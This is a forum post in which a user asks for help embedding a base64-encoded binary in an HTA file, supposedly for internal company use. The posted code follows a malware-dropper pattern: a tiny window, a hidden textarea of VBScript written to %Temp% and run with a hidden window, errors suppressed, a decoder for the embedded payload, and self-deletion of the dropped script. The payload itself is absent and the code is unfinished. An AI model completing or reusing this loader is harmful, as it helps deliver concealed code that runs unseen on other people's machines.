jangojan 0 Newbie Poster

hie all

i am in a phase of creating a hta application for our internal functionality of our company. basically the reqt is to embed a self devloped binary file in the hta file, but i am facing a problem. like where i should paste the base64 strings in the vbscript and then decode it, write it to the filesystem and then run

 <SCRIPT LANGUAGE="VBScript">

    Sub Window_onLoad
        window.resizeTo 100,100
    End Sub 

</SCRIPT>
<title>test</title>
<HTA:APPLICATION 
     ID="objTest" 
     APPLICATIONNAME="TESTINGPHASE"
     SCROLL="yes"
     SINGLEINSTANCE="yes"

<style>
body {
margin:0px;
padding:0px;
overflow: hidden;

}
</style>
<BODY>
<textarea name="content" rows="4" cols="50" style="display:none">

<SCRIPT language="VBScript">
on error resume next 
Const ForReading = 1, ForWriting = 2, ForAppending = 8 
Const TypeBinary = 1
Const filename = "file.vbs"
Dim temp
temp = CreateObject("WScript.Shell").ExpandEnvironmentStrings("%Temp%")
Dim filedata
filedata =

I AM PUTTING MY BASE64 ENCODED STRINGS HERE BUT GIVE ME ERROR ON COMPILE

'writeBytes temp & "/" & filename, dbsixfour(filedata)
Dim oShell
set oShell = CreateObject("WScript.Shell")


Function dbsixfour(data)
    Dim DM, EL
    Set DM = CreateObject("Microsoft.XMLDOM") 
    Set EL = DM.createElement("tmp")
    EL.DataType = "bin.base64"
    EL.Text = data
    dbsixfour = EL.NodeTypedValue
end function

Set fso = CreateObject("Scripting.FileSystemObject") 
strScript = Wscript.ScriptFullName
fso.DeleteFile(strScript)
</SCRIPT>
</textarea>

<SCRIPT language="VBScript">
on error resume next 

Dim fso, f 
Set fso = CreateObject("Scripting.FileSystemObject") 
Dim temp
temp = CreateObject("WScript.Shell").ExpandEnvironmentStrings("%Temp%")
Set f = fso.createTextFile(temp & "/base.vbs", true) 
f.Write content.value
f.close
set fso = nothing

Dim oShell
set oShell = CreateObject("WScript.Shell")
oShell.Run temp & "/base.vbs", 0 , True


</SCRIPT>


</BODY>

</html>


     ANY HELP OR GUIDANCE WILL BE HIGHLY APPRICIATED. THANKS IN ADVANCE